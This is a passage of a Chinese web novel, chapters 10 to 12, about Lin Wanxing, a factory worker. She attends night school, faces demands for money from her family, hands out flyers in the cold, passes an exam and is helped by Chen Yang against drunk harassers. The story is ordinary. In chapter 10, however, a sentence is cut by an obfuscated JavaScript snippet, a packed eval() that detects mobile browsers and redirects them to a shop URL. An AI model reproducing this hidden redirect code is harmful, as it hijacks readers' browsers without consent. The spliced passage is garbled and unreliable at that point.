她拿起笔,在课本的空白页上郑重写下:“努力自有回响,勇敢亦有光芒。”她清楚,这次逆袭与反击只是成长路上的一个小插曲,未来的学习之路依旧漫长,或许还会遇到新的挑战与偏见,但她再也不会害怕。她已然拥有了直面困境的勇气、坚持不懈的毅力,还有身边人汇聚的微光,这些力量,会支撑着她在追梦的路上,继续坚定前行,绽放属于自己的璀璨光芒。 第二天清晨,天刚蒙蒙亮,晚星依旧提前抵达车间补产量,脸上多了几分从容与自信。李娟来上班时,远远看到晚星,眼神躲闪,不敢直视她,低着头快步走到自己的工位上,再也不敢像以前那样肆意嘲讽挑衅。晚星没有理会她,只是专注地投入工作,趁着机器预热的间隙,掏出单词本轻声默念起来。 阳光透过车间的窗户洒进来,落在她的身上,也落在她手里的单词本上,映照出她眼里的坚定与澄澈。张琪走到她身边,递过一杯温热的水,笑着打趣:“我的‘逆袭女王’,继续加油!下次咱们冲击前五,再创佳绩!” 晚星接过水杯,眉眼弯弯,语气笃定:“好,一起加油!”她知道,只要不停止努力,不放弃心中的梦想,终会跨越所有困境,抵达想去的远方,用实力改写自己的人生轨迹。 10. 第 10 章 初冬的寒风卷着碎凉,一遍遍拍打恒鑫电子厂的铁窗,车间内机器的轰鸣却裹着沉闷的热浪,将寒意勉强隔绝在外。晚星指尖起落间,振膜精准嵌入卡槽,动作娴熟得近乎机械,脸上还残留着上一章逆袭反击后的淡淡从容——这些天李娟再不敢寻衅,夜校有陈雨、王姐结伴攻坚,连刘组长都常把整理妥帖的零件筐优先推给她,日子仿佛正顺着微光,往明亮处延展。 午休铃声刚落,口袋里的手机突然急促震动,屏幕上“妈”的备注像块沉甸甸的石头,让晚星心里莫名一紧。她快步躲到车间角落的僻静处,指尖微颤地按下接听键。 “林晚星!你是不是又在外面乱花钱?”母亲尖利的声音瞬间刺破听筒,夹杂着弟弟林博文的哭闹与杂物碰撞声,“你爸刚跟我说,这个月寄回来的钱比上个月少了五十块!你翅膀硬了,眼里就没这个家了是吧?” 晚星攥紧手机,指节被捏得泛白,指腹抵着冰凉的机身,声音下意识放软妥协:“妈,我没乱花钱。这个月夜校要交资料费,之前又因为请假扣了两天工资,实在挤不出多余的了,那五十块我下次发工资一定补上。”她顿了顿,试着放轻语气解释,“我现在在夜校学东西,等以后学好了……” “学那些虚头巴脑的有屁用!”母亲的斥责粗暴打断她,语气里的不耐与偏见几乎要溢出来,“一个女孩子家,迟早要嫁人生子,读再多书也是浪费钱!不如多挣点钱给你弟买辅导资料,他明年就要中考了,那才是咱们林家的指望,是你这个姐姐该尽的本分!” “可是妈,夜校学费都是我省吃俭用攒的,没花家里一分钱。”晚星的声音裹着委屈,却仍想争一句,“我多学点东西,以后能找份薪资高点的工作,才能更有力地帮衬家里啊。” “帮衬家里?你现在就该实打实帮衬!”电话那头的声音陡然拔高,带着不容置喙的强硬,“我不管你什么夜校不夜校,从这个月起,每个月多寄两百块回来,专门给博文买真题、报补习班。你要是敢少寄一分,我就跟你爸直接去厂里找你,让你没法安心做工,也让所有人都看看你是怎么不孝的!” 晚星的心猛地一沉,喉咙泛起阵阵酸涩,连呼吸都滞涩了几分。她一个月工资不过两千二,扣掉房租、水电费,再刨去夜校学费和资料费,本就所剩无几。平日里靠着啃馒头、就咸菜才勉强攒下一点,多寄两百块,意味着她的基本生计都要压缩到极致,连一口热饭都未必能保障。“妈,我真的……” “没有什么真的假的!”母亲根本不听她的难处,语气愈发蛮横,“你是姐姐,让着弟弟、供着弟弟天经地义。要么乖乖多寄钱,要么就别读那破夜校,赶紧回来给人家当保姆,一个月也能多挣几百块!你自己选!” 背景里突然传来林博文撒泼的哭喊:“妈!我就要那个一千块的冲刺班!姐姐不给钱我就不去上学了!我要辍学!”紧接着便是母亲软声哄劝弟弟的语气,转头又对晚星恶声恶气地呵斥,“听见没?博文要上冲刺班,这钱你这个月必须凑齐!少跟我废话,就这么定了!” 电话被粗暴挂断,冰冷的忙音“嘟嘟”作响,晚星握着手机僵在原地。寒风从窗户缝隙钻进来,顺着衣领灌进怀里,冻得她浑身发凉,连骨头缝里都透着寒意。她缓缓靠着冰冷的墙壁蹲下,肩膀控制不住地微微颤抖,委屈与无力像潮水般将她彻底淹没——她明明已经拼尽全力,一边在流水线上耗尽全力做工,一边挤碎所有空闲啃书求学,只想为自己争一条出路,可原生家庭的枷锁,却一次次将她拽回窘迫的泥沼。 “晚星,你怎么了?谁给你打电话了?”张琪拿着两个冷硬的馒头走过来,看见她泛红的眼眶和紧绷的神情,连忙蹲下身,语气里满是担忧,“是不是家里出事了?” 晚星吸了吸鼻子,用力压下眼底的湿意,摇了摇头,声音带着一丝不易察觉的沙哑:“没事,我妈让我每个月多寄点钱回去,给我弟买辅导资料、报补习班。”她刻意隐去了母亲的指责与威胁,所有难处都悄悄咽进肚子里——张琪也要给家里寄钱,日子同样拮据,她没必要再给朋友添堵。 “又是你弟!”张琪气得皱紧眉头,愤愤不平地攥紧拳头,“你都快把自己逼得不像样了,省吃俭用供他读书,你爸妈怎么就从不心疼你?你这夜校处处要花钱,还要多寄两百,这日子根本没法过啊!” 晚星拿起一个馒头,咬下一大口,干涩的面渣刮着喉咙,难以下咽。她缓缓咀嚼着,声音轻却坚定:“没办法,他是我弟,爸妈又催得紧。我再想想法子吧。”一个念头在心底悄然扎根——要想既不放弃夜校,又能凑够钱寄回家,唯有再找一份兼职。 下午做工时,晚星满脑子都在盘算兼职的事。工厂六点下班,夜校七点半开课,中间只有一个半小时,根本来不及做别的;夜校九点下课,倒是有一段空闲,可兼职不能太累,否则第二天根本撑不住流水线的高强度工作。她趁着换零件的间隙,悄悄凑到张桂兰身边,声音压得极低:“张姐,你知道附近有没有晚上九点以后能做的短工?时间不用太长,能赚点零花钱就行。” 张桂兰手里的动作顿了半秒,抬眼深深看了她一眼,语气依旧平淡,却藏着不易察觉的关切:“你要额外赚钱?是不是家里有难处了?城西步行街晚上有发传单的活,十点前就能结束,一天五十块,就是天冷风大,站久了遭罪。”她顿了顿,补充道,“我表妹以前做过,说那边商家每晚都缺人,你要是想去,我帮你问问老板,留个位置给你。” 晚星心里一暖,眼眶微微发热,连忙点头道谢:“谢谢张姐,麻烦你了。累点冷点都没关系,只要能赚钱就行。” 当天晚上,张桂兰就带来了答复,让她第二天夜校结束后直接去步行街找李姐,对方愿意给她留一个名额。晚星把这个消息仔细记在笔记本上,目光落在扉页自己写的“努力自有回响”上,心里五味杂陈——她以为成绩逆袭能换来一丝喘息,却没想到,日子终究要靠兼职才能勉强续命。 从第二天起,晚星的生活彻底被密密麻麻的日程填满,连喘口气的间隙都没有。清晨四点半,天还未亮,她就摸黑起床,提前赶到车间补完前一天落下的产量;白天在流水线上重复机械的动作,趁着机器预热、换零件的片刻空闲,飞快掏出单词本默念,指尖都因反复翻页磨出了薄茧;傍晚六点下班,抓起两个馒头边跑边啃,争分夺秒赶去夜校;九点课程结束,立刻裹紧外套往城西步行街奔,换上商家提供的单薄宣传马甲,在寒风里发传单;十点半兼职结束,拖着灌了铅似的双腿回宿舍,还要借着台灯翻半小时课本、复盘知识点,往往凌晨才能疲惫地躺下。 步行街的夜晚寒风如刀,刮得脸颊生疼,晚星站在路口,手里攥着一摞厚重的传单,对着来往匆匆的行人,一遍遍重复着早已沙哑的话术:“您好,麻烦了解一下,新开的火锅店,优惠活动很划算。”大多数人都是漠然走过,有人甚至会不耐烦地挥手推开传单,力道大得让她手腕一麻;偶尔遇到愿意接过传单的人,她都会下意识弯起嘴角,轻声道一句“谢谢”,仿佛这微不足道的认可,就能驱散几分寒意。 有天晚上,天空突然飘起小雨,冰冷的雨丝混着寒风,打在脸上像针扎一样疼。晚星的头发、外套很快被淋湿,单薄的马甲根本挡不住寒意,湿冷的布料贴在身上,冻得她瑟瑟发抖。传单也沾了潮气,边角发皱变软,她缩在公交站台下,依旧固执地给每一个路过的人递传单。口袋里的手机突然震动,是陈雨发来的消息:“晚星,你今天上课走神好几次,眼神都涣散了,是不是不舒服?笔记我帮你抄好了,重点也标出来了,明天带给你。” 晚星看着屏幕上温暖的文字,眼眶瞬间泛红。她指尖发颤地回复:“谢谢陈雨,我没事,就是有点累,麻烦你了。”放下手机,她从怀里掏出揣了许久的冷馒头,馒头早已硬邦邦的,咬下去几乎要硌掉牙。雨水顺着脸颊滑落,混着馒头的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233579|197633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干涩咽下去,心里却憋着一股不服输的劲——再难也要坚持,不能放弃夜校,也不能让家里逼着退学。 日子愈发拮据,晚星把每一分钱都掰成两半花。早餐干脆省掉,午餐和晚餐就靠馒头就咸菜充饥,连一口热汤都舍不得买。张桂兰看她实在可怜,每天都会多带一份家常菜给她,嘴上说着“家里做太多,不吃浪费”,眼底的心疼却藏不住;张琪把自己攒了多年的旧围巾塞给她,让她兼职时裹紧,别冻得感冒耽误事;陈雨和王姐发现她总吃冷食,偶尔会带热乎的包子、豆浆给她,还主动帮她分担复习任务,把整理好的重点笔记递到她手里。 这天晚上,晚星终于发完最后一张传单,揉了揉冻僵的手脚,正准备往公交站走,身后突然传来一个温和的男声:“您好,麻烦问一下,附近的地铁站怎么走?”她转头望去,男人穿着笔挺的西装,手里拎着公文包,眉眼温和,周身透着沉稳的气质,正是加班晚归的陈阳。 晚星愣了愣,连忙停下脚步,指了指前方的路口,声音还有些沙哑:“沿着这条路直走,过两个红绿灯右转,就能看到地铁站入口了,不算太远。”她下意识拢了拢湿透的外套,脸颊还沾着未擦干净的雨水痕迹,显得有些局促。 陈阳顺着她指的方向看了看,目光又落回她手里攥着的传单、湿透的发梢和单薄的马甲上,眼里闪过一丝真切的关切:“这么晚了还在发传单?天又冷又下雨,快把衣服裹紧点,别冻感冒了。”他顿了顿,从口袋里掏出一张干净的纸巾,递到她面前,“擦擦脸吧。” 晚星接过纸巾,指尖触到纸巾的干爽,还有一丝淡淡的余温,她有些局促地低下头,飞快擦了擦脸上的雨水,轻声道:“谢谢。”男人温和的目光里没有丝毫轻视,只有纯粹的善意,让她紧绷了许久的心弦,稍稍松弛了几分。 “不客气。”陈阳笑了笑,语气依旧温和,又叮嘱了一句“路上注意安全,早点回去休息”,便转身朝着她指的方向走去。晚星站在原地,看着他挺拔的背影渐渐消失在雨幕里,手里还攥着那张带着余温的纸巾,心底泛起一丝微弱却真切的暖意——在这冰冷又疲惫的夜晚,陌生人一句简单的关心,竟也能成为支撑她走下去的微光。 回到宿舍时,已经十一点多了。张琪还没睡,特意留了一盏小夜灯,桌上放着一杯温热的开水和一个松软的面包:“快过来喝点热水暖暖身子,这面包是我下午买的,没舍得吃,你赶紧吃了睡觉,明天还要早起补产量呢。” 晚星接过水杯,温热的触感从指尖蔓延到心底,驱散了几分寒意。她咬了一口面包,柔软的口感裹着甜味,眼眶微微发热,含糊地说:“谢谢你,张琪。” “跟我还客气这个。”张琪坐在她身边,轻轻叹了口气,语气里满是心疼,“你这日子过得也太苦了,又要做工又要读书还要兼职,再这么熬下去,身体迟早要垮的。要不还是跟你爸妈说说,少寄点钱吧?” 晚星摇了摇头,眼神里满是倔强与坚定:“不用,我能坚持。等我再学一段时间,知识点掌握得更牢了,就能找份薪资高点的兼职,到时候就不用这么累了。”她没说出口的是,她不敢跟爸妈谈条件,怕他们一气之下逼着她退学,怕自己唯一能改变命运的出路,被彻底堵死。 吃完面包,晚星简单洗漱了一下,便疲惫地躺在床上。身体的酸痛几乎要将她淹没,眼皮重得像挂了铅,可脑子里却还在反复默念着今天记的文言知识点。她摸索着拿出枕头下的课本,指尖抚过扉页上自己写的字,在心里暗暗发誓:不管遇到多大的困难,都绝不能放弃。原生家庭的压力、生活的窘迫,都只能成为她前进的动力,而不是压垮她的枷锁。 窗外的雨还在下,淅淅沥沥的雨声伴着她均匀的呼吸,渐渐进入梦乡。她不知道的是,今晚与陈阳的这场偶然相遇,将会成为她追梦路上的又一个重要转折点;而眼下所有的艰难与窘迫,也终将在她的执着与坚持中,慢慢迎来曙光。 11. 第 11 章 深冬的夜浸着刺骨的凉,城西步行街的寒风裹着细碎霜粒,像无数根小针似的刮得晚星脸颊生疼。她把最后一张传单轻轻塞进路人手里,指尖因长时间攥着传单早已冻得发麻,下意识搓了搓僵硬的双手,哈出一口白气氤氲在冷空气中,又快速拢了拢单薄的外套。尽管浑身透着寒意,她的脚步却比往常轻快了几分——今天是高中阶段中期考核的日子,熬过这场硬仗,她便能暂时卸下一块沉甸甸的心头大石,也能给这段日子的拼命一个交代。 过去半个月,晚星的日子比以往任何时候都更难熬。白天在流水线上重复着高强度劳作,冰冷的零件在指尖反复传递,指腹被磨得发红发僵,哪怕酸胀难忍也不敢放慢速度,生怕耽误工时被扣钱;夜晚收工后,来不及卸下一身疲惫,便要匆匆赶去步行街发传单兼职,遇到刮风下雨的天气,不仅要忍受严寒,还要小心翼翼护住传单不被淋湿。等回到逼仄的宿舍,已是近十点,她又强撑着睡意挤出两小时复盘考核知识点,常常抱着课本就趴在堆满笔记的桌角睡去,额前碎发沾着微凉的桌面,醒时眼底还带着未散的疲惫,却立刻揉了揉眼睛,就着台灯昏黄的光接着啃书。陈雨和王姐心疼她,特意把整理好的考核重点拆成巴掌大的便携小册,标注出高频考点和易错点,让她能在发传单的间隙、等公交的片刻快速背诵;张桂兰每天都会多带一个热鸡蛋,趁午休时塞到她手里,语气带着不容拒绝的强硬:“必须吃,不然熬不住”;张琪则默默包揽了宿舍所有杂活,扫地、打水、洗衣服,从不抱怨,只为让她能多挤十分钟复习。这些细碎而真挚的善意,像冬日里的微光,层层叠叠,成了她撑过这段艰难考核季的底气。 考核设在夜校的阶梯教室,清晨八点准时开考,晚星提前一小时便到了。此时的校园还透着清晨的寂静,只有零星几个考生匆匆走过。她选了个靠窗的位置坐下,借着熹微的晨光,快速翻看着陈雨给的重点手册,指尖无意识摩挲着手册边缘被反复翻阅磨旧的折痕,心里既藏着考前的忐忑,又透着几分胸有成竹——这些知识点,她早已在无数个深夜和碎片时间里反复咀嚼、记诵,连梦里都在默写文言实词的用法,连传单背面都密密麻麻写满了公式和句型,早已刻进了骨子里。她深吸一口气,平复心绪,静静等待考试开始。 考试铃声准时响起,试卷一张张分发下来,纸张翻动的沙沙声在寂静的教室里格外清晰。晚星深吸一口气,压下心底最后一丝紧张,握紧笔杆提笔作答。前面的基础题于她而言早已烂熟于心,笔尖在纸上飞速移动,作答如行云流水,几乎不用停顿思考;遇到几道难度稍大的阅读理解和作文题,她也不慌不忙,沉着思索,将王老师讲过的答题技巧与自己的理解结合,慢慢梳理出清晰的思路。窗外的阳光渐渐升高,透过洁净的玻璃落在试卷上,映得她眉眼清亮、眼神坚定,也映得字迹愈发工整有力。答完卷后,她又逐题仔细检查,不放过任何一个细节,直到铃声再次响起,才从容地交上试卷。 两场考试结束,铃声响起的那一刻,晚星长长舒了口气,紧绷的肩膀终于放松下来,浑身都透着一股卸下重担的轻松。走出教室时,陈雨和王姐早已等在门口,脸上满是急切的期待,手里还拿着一瓶温热的矿泉水。“晚星,考得怎么样?我们整理的那些重点,是不是都考到了?有没有遇到特别难的题?”王姐快步上前,语气里满是关切地连珠炮似的问道。 晚星笑着点头,接过矿泉水拧开喝了一口,温热的水流顺着喉咙滑下,眼底漾开轻松的笑意,心里的石头落了大半:“嗯,大部分都复习到了,应该没什么问题。就两道阅读理解稍微绕点,我琢磨了一会儿也答上了。真的多亏了你们帮我整理重点、划易错点,不然我一个人摸索,肯定抓不住方向,也没法在这么短时间里吃透所有内容。” “这都是你自己拼出来的结果!”陈雨伸手拍了拍她的肩膀,眼里满是真切的赞许,“我们只是帮了点小忙,真正辛苦的是你自己。你每天又做工又兼职,休息时间都被压缩到极致,还能挤出时间把所有知识点啃透,比我们这些能专心学习的人都不容易。放心,以你的实力肯定能过的!” 接下来的几天,晚星依旧按部就班地做工、兼职、学习,只是心底多了一份挥之不去的牵挂。她不敢过度期待,怕希望越大失望越大,只能刻意把注意力重新放回课本上,用忙碌冲淡内心的忐忑,默默等待考核结果。张琪最懂她的心思,每天都变着法子安慰她,吃饭时给她多夹一筷子咸菜,睡前陪她聊几句轻松的话题,笑着鼓励:“放心吧晚星,以你这份拼劲,考核肯定能过!等结果出来,我给你好好准备个庆祝仪式,咱们好好犒劳一下自己!” 周五的夜校课程结束后,王老师特意叫住晚星:“晚星,你来我办公室一趟。”晚星的心瞬间提到了嗓子眼,指尖控制不住地微微发颤,跟在老师身后时,连脚步都有些虚浮,脑海里不受控制地胡思乱想。她在心里反复盘算,若是真的没通过,该怎么挤出更多时间补考,又该怎么平衡兼职与复习,不让之前所有的努力都白费,甚至开始担心会不会让一直支持她的人失望。 “晚星,坐。”王老师笑着指了指面前的椅子,语气里的温和让晚星紧绷的神经稍稍放松了些。他拿起桌上的考核成绩单,轻轻递到她手里,眼底满是欣慰:“恭喜你,顺利通过中期考核了,而且成绩很出色,排在班级第五名。这份成绩,配得上你所有的努力。” 晚星双手接过成绩单,指尖因用力而微微泛白,目光第一时间落在“合格”二字上,又猛地看向后面的排名栏,大脑瞬间一片空白。她反复眨了眨眼,指尖微微发颤地抚过那清晰的“第五”,一遍又一遍确认自己没有看错,眼眶才骤然发热,积压多日的疲惫、委屈与挣扎,在这一刻尽数化作释然的泪水滚落。那些在寒风中冻得瑟瑟发抖发传单的夜晚,那些啃着冷硬馒头背书的清晨,那些累到极致却仍不敢停歇的时刻,那些因压力过大而偷偷掉眼泪的瞬间,都在这一刻有了最值得的回响。 “哭什么,这都是你应得的。”王老师递过一张纸巾,语气温柔又欣慰,轻轻拍了拍她的肩膀,“我早就跟你说过,你的努力从来都不会白费。这次中期考核通过,意味着你可以提前进入高中毕业证的备考阶段,只要后续的综合评定和最终考试都达标,就能比其他同学早半年拿到毕业证,为你后续自考节省更多时间。” “真的吗?我可以提前备考毕业证?”晚星抬起头,用纸巾擦了擦眼泪,声音带着未平的哭腔,却满是难以掩饰的惊喜,眼里闪烁着泪光与光亮,“王老师,我……我从来没想过能这么快。我原本只盼着能顺利通过考核,不辜负自己的努力就好,没想到还能提前拿到毕业证,这真的太意外了,也太珍贵了。” “当然是真的。”王老师点了点头,语重心长地看着她,眼神里满是期许,“你的基础虽然比别人薄弱,但你身上的韧劲和拼劲,是很多同学都没有的。拿到高中毕业证后,你还可以试着自考本科,继续提升自己。多学一点知识,就能多一份竞争力,未来的选择就多一点,路也会走得更宽、更稳。” 自考本科?这四个字像一束冲破阴霾的光,猝不及防照进晚星的心底,驱散了所有的迷茫。她从前不敢奢望太多,只盼着拿到高中毕业证,找份薪资体面些的文职工作,不再风吹日晒发传单,不再啃冷馒头度日,能稍微减轻一点生活的重担就好。可王老师的话,让她忽然意识到,人生不该只有“够用就好”,还能有更远的奔赴、更好的可能。她用力点头,眼里重新燃起明亮而坚定的光芒,语气无比郑重:“谢谢王老师,我一定会努力的!我想试试自考本科,我想靠自己的力量,为自己拼一个更好的未来!” 从办公室出来,晚星几乎是一路小跑着赶回宿舍,心底的喜悦像要溢出来,连脚步都变得轻快无比。她推开宿舍门时,张琪正蹲在地上洗衣服,泡沫沾到了袖口也浑然不觉,嘴里还哼着不成调的小曲。听到动静,张琪立刻抬头看来,眼里满是好奇与急切:“回来了?怎么样,考核结果出来了吗?是不是过了?我看你跑这么快,肯定是好消息!” 晚星紧紧攥着成绩单,快步走到张琪面前,声音因激动而微微发抖,却字字清晰有力:“张琪,我过了!我顺利通过中期考核了!还考了班级第五名!王老师说我可以提前备考高中毕业证,还鼓励我以后自考本科!我们的努力,都没有白费!” 张琪手里的衣服“啪嗒”一声掉在水盆里,溅起细小的水花。她猛地站起身,不顾手上还沾着泡沫和水,一把抱住晚星,用力拍着她的后背,眼里满是雀跃与骄傲,声音都透着兴奋:“真的?太好了晚星!我就知道你一定可以!你太厉害了!”她抱着晚星转了一圈,又拉过她的手,盯着成绩单上的排名,笑得合不拢嘴,眉眼都弯成了月牙:“还排到了班级第五,我的晚星简直是逆袭女王!我就知道,你所有的辛苦都不会白费,我太为你骄傲了!” 晚星靠在张琪温暖的怀抱里,感受着闺蜜真切的喜悦与祝福,心里暖暖的,所有的疲惫都烟消云散。这些日子,无论是她熬夜复习时,张琪默默陪在身边不打扰;还是她因压力过大而低落时,张琪耐心安慰、逗她开 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晚星闭上眼睛,双手合十,指尖抵着眉心,心里翻涌着万千期许,默默许愿:愿我能顺利拿下高中毕业证,稳稳考上自考本科,不辜负自己的努力,也不辜负身边人的支持;愿我能早日摆脱流水线和兼职的苦,找份稳定的文职工作,给张琪、张桂兰她们一份实实在在的回馈;愿我能靠自己的力量站稳脚跟,不再被原生家庭的压力裹挟,拥有选择人生的权利,能为自己活一次。她缓缓睁开眼睛,一口气吹灭蜡烛,与张琪相视一笑,眼底满是对未来的憧憬与向往。 “我跟你说,等我拿到高中毕业证,就先找份薪资高点的文职工作,比如文员、助理之类的,再也不用去寒风里发传单,不用看别人的脸色,也能有更多时间准备自考。”晚星拿起一块蛋糕,小口咬着,甜美的奶油在嘴里化开,驱散了所有的苦涩,语气坚定又充满希望,“我想考汉语言文学专业,就像王老师那样,多学点知识充实自己,以后也能有更多选择,再也不用被生活推着走,能真正掌控自己的人生。” “好!我全力支持你!”张琪夹了一块卤味放进晚星碗里,眼里满是真诚,语气无比笃定,“等你换了好工作,我也好好做工,争取多攒点钱,不拖你的后腿。以后你自考需要资料费、报名费,我都帮你凑!咱们一起努力,以后都要过上好日子,再也不用啃冷馒头、受冻挨累,再也不用被生活欺负!” 晚星看着张琪真诚的眼神,眼眶又微微发热。她用力点了点头,再咬一口蛋糕,甜意顺着喉咙滑进心底,化作一股温暖的力量。“嗯,我们一起努力,以后都要过得越来越好,要靠自己的力量,活成自己想要的样子。” 两人坐在小小的宿舍里,就着暖黄的烛光,分享着香甜的蛋糕和入味的卤味,你一言我一语地规划着未来,声音里满是对美好生活的向往。窗外的寒风依旧呼啸着拍打窗户,发出呜呜的声响,宿舍里却暖意融融,满是希望的气息。晚星清楚地知道,中期考核的通过只是成长路上的一个小里程碑,未来还有更长的路要走,还有更多的困难要面对,原生家庭的压力、自考的艰辛、生活的琐碎,都可能成为阻碍,但她再也不会像从前那样迷茫胆怯。 她有了清晰而坚定的目标,有闺蜜不离不弃的陪伴,还有那些一路给予她温暖与支持的人。这份阶段性的胜利,不仅给了她继续前行的勇气,更让她坚信,只要脚踏实地、坚持不懈地努力,一步一个脚印地往前走,就终能跨越所有困境,抵达自己心中的远方。自考本科的种子,在这一刻,深深扎根在她的心底,伴着这份温暖与期许,静静汲取力量,静待开花结果。 第二天清晨,天刚蒙蒙亮,车间里已有零星的灯光亮起,机器也渐渐启动,发出低沉的运转声。晚星依旧提前抵达车间,脸上还带着未散的喜悦。她把考核通过、能提前备考毕业证的消息告诉了张桂兰,一向不苟言笑、总是冷着脸的张桂兰,脸上露出了难得的柔和笑容,从包里掏出一个热乎乎的肉包,递到她手里,语气里满是认可与叮嘱:“不错,没白熬那些苦日子。继续加油,以后有出息了,也别忘了自己的根,但更要为自己活,别总委屈自己。” 晚星接过肉包,温热的触感从指尖蔓延到心底,驱散了清晨的微凉,也温暖了整个心房。她朝着张桂兰用力点头,又转头看向身边的张琪,两人相视一笑,眼里都盛满了坚定与希望。新的目标已然确立,新的征程即将开启,她带着这份阶段性的胜利,带着身边人的期待与支持,满怀热忱地投入到新的奋斗中,一步一步,坚定地奔赴属于自己的光明未来。 12. 第 12 章 深冬的夜色总是落得急促,刚过晚上九点,城西步行街的路灯便次第亮起,昏黄的光晕裹着刺骨的寒风,将行人的身影拉得忽长忽短。晚星裹紧身上单薄的宣传马甲,指尖早已冻得失去知觉,却仍机械地攥着一摞火锅店的传单,在路口的公交站台旁来回踱步。夜校课程刚结束,她连喝口热水的功夫都没有,便急匆匆赶来兼职,只盼着能多赚五十块,凑够给弟弟买真题的钱,也能为自己的自考资料费添上一笔。 这几日的风比往常更烈,吹在脸上像刀割般疼,晚星的脸颊早已冻得通红,嘴唇干裂起皮,连说话都带着沙哑的鼻音。她朝着过往的行人微微欠身,重复着那句说了无数遍的话术:“您好,麻烦了解一下,火锅店新开业,全场八折,还有赠品相送。”大多数行人都是行色匆匆,要么漠然摆手走开,要么低头绕路,偶尔有愿意接过传单的,也只是随手塞进包里,转眼便可能丢弃在路边。 晚星早已习惯了这样的冷漠,却还是忍不住在每次递出传单时,悄悄抬眼望向对方,眼里藏着一丝不易察觉的期待。她知道这份兼职既辛苦又卑微,可眼下的处境容不得她挑剔——流水线上的工资勉强够糊口和寄钱回家,夜校的资料费、自考的备考计划,都要靠这份兼职一点点攒。口袋里的手机震动了一下,是张琪发来的消息:“晚星,外面风大,别熬太晚,我给你留了热水。”简单的一句话,让晚星冻得发僵的指尖泛起一丝暖意,她快速回复“知道啦”,又攥紧传单,朝着迎面走来的一行人递了过去。 “滚开!别挡路!”领头的男人猛地挥手,力道极大,晚星手里的传单被扫落在地,散了一地狼藉。男人身上带着浓重的酒气,眼神浑浊,脚步虚浮,显然是喝多了。他身边跟着两个同伴,也皆是醉态醺然,看着散落一地的传单,不仅没有歉意,反而嗤笑起来。 晚星心头一紧,下意识蹲下身去捡传单,声音带着几分怯懦却依旧客气:“先生,对不起,打扰到您了。”她只想尽快捡起传单,息事宁人,可那醉酒男人却不依不饶,上前一步,用脚踩住了她正要捡起的几张传单,鞋底的泥渍瞬间弄脏了洁白的纸张。 “对不起就完了?”男人俯身盯着晚星,酒气扑面而来,让晚星下意识往后缩了缩,“耽误老子走路,还弄脏了老子的鞋,你说怎么办?”他的语气蛮横,眼神里满是挑衅,身边的同伴也跟着起哄:“就是,给我们哥几个赔个不是,再请我们喝几瓶酒,这事就算了。” 晚星的心跳瞬间加速,慌乱地站起身,往后退了半步,紧紧攥着手里剩下的传单,声音有些发颤:“先生,我不是故意的,我给您道歉。传单我重新给您捡,您的鞋……我实在赔不起。”她知道这些人是故意刁难,可她孤身一人在街头,既没有反抗的力气,也没有求助的对象,只能强忍着恐惧,试图讲道理。 “赔不起?”醉酒男人冷笑一声,上前一步逼近晚星,伸手就要去扯她身上的宣传马甲,“赔不起就跟我们走,去店里帮我们付账,不然别想走!”晚星吓得浑身一僵,下意识抬手挡住他的手,脚步踉跄着后退,后背撞到了冰冷的公交站台广告牌,退无可退。 寒风呼啸着掠过耳畔,夹杂着男人的斥骂声和同伴的哄笑声,晚星的眼眶瞬间泛红,却倔强地咬着嘴唇,不让眼泪掉下来。她想起这些日子的艰辛,想起流水线上的疲惫、夜校的苦读、兼职的奔波,还有原生家庭的压力,一股委屈与无助涌上心头,几乎要将她压垮。她多想有人能站出来帮她一把,可看着周围匆匆走过、漠不关心的行人,心底的希望一点点破灭。 就在男人的手再次伸过来时,一道挺拔的身影突然快步上前,挡在了晚星身前,语气坚定而有力:“这位先生,请你放尊重点。” 晚星愣了愣,透过身前男人的肩膀,看到来人穿着一件干净的黑色羽绒服,身形挺拔,侧脸线条利落。男人微微侧身,晚星看清了他的脸——眉眼温和却带着几分英气,眼神清澈而坚定,正是前几日在街头偶然遇到、向她问路的那个男人。她记得张琪提过,厂里技术部有个叫陈阳的男生,性格开朗,人很热心,想来就是他。 陈阳本是加班结束,想着绕路来步行街买杯热饮,却远远看到这边的争执。他一眼就认出了那个穿着单薄马甲、被刁难的女生,正是前几日给她指路时,那个浑身湿透却依旧礼貌道谢的姑娘。看到她被醉酒男人纠缠,眼神里满是恐惧与无助,他便毫不犹豫地冲了过来。 醉酒男人被突然出现的陈阳打断,顿时怒火中烧,扬手就要推他:“小子,少管闲事!不然连你一起收拾!”陈阳微微侧身,轻松避开了他的手,同时伸手抓住了他的手腕,力道不大却足够坚定,让男人动弹不得。 “我劝你最好冷静点。”陈阳的语气依旧平稳,眼神却带着一丝威慑,“这里是步行街,监控到处都是,你要是再纠缠不休,我现在就报警。到时候不仅要赔礼道歉,还要被带到派出所醒酒,值得吗?”他的声音不大,却字字清晰,带着不容置疑的底气。 醉酒男人挣扎了几下,没能挣脱陈阳的手,又看了看他挺拔的身形和坚定的眼神,再想起周围的监控,酒意瞬间醒了大半。他身边的同伴也看出情况不对,连忙上前打圆场:“兄弟,误会,都是误会。我们哥几个喝多了,说话没个分寸,对不起对不起。”说着,便拉着醉酒男人往后退了几步。 醉酒男人狠狠瞪了晚星一眼,又看了看陈阳,最终还是没敢再纠缠,嘴里骂骂咧咧地被同伴架着离开了。直到他们的身影消失在路口,陈阳才松开手,转过身看向晚星。 晚星还愣在原地,心跳得飞快,脸上的慌乱还未褪去,眼眶却因为刚才的委屈和此刻的安心,泛起了淡淡的红。她看着陈阳,嘴唇动了动,好半天才挤出一句:“谢……谢谢你。”声音沙哑,带着难以掩饰的颤抖。 陈阳看着她冻得通红的脸颊和双手,还有散落在地上、沾了泥渍的传单,眼神里闪过一丝心疼。他弯腰,小心翼翼地将地上的传单捡起来,拍掉上面的灰尘和泥渍,然后递到晚星手里:“没事了,他们已经走了,别害怕。”他的声音温和,像冬日里的阳光,驱散了晚星心底的寒意。 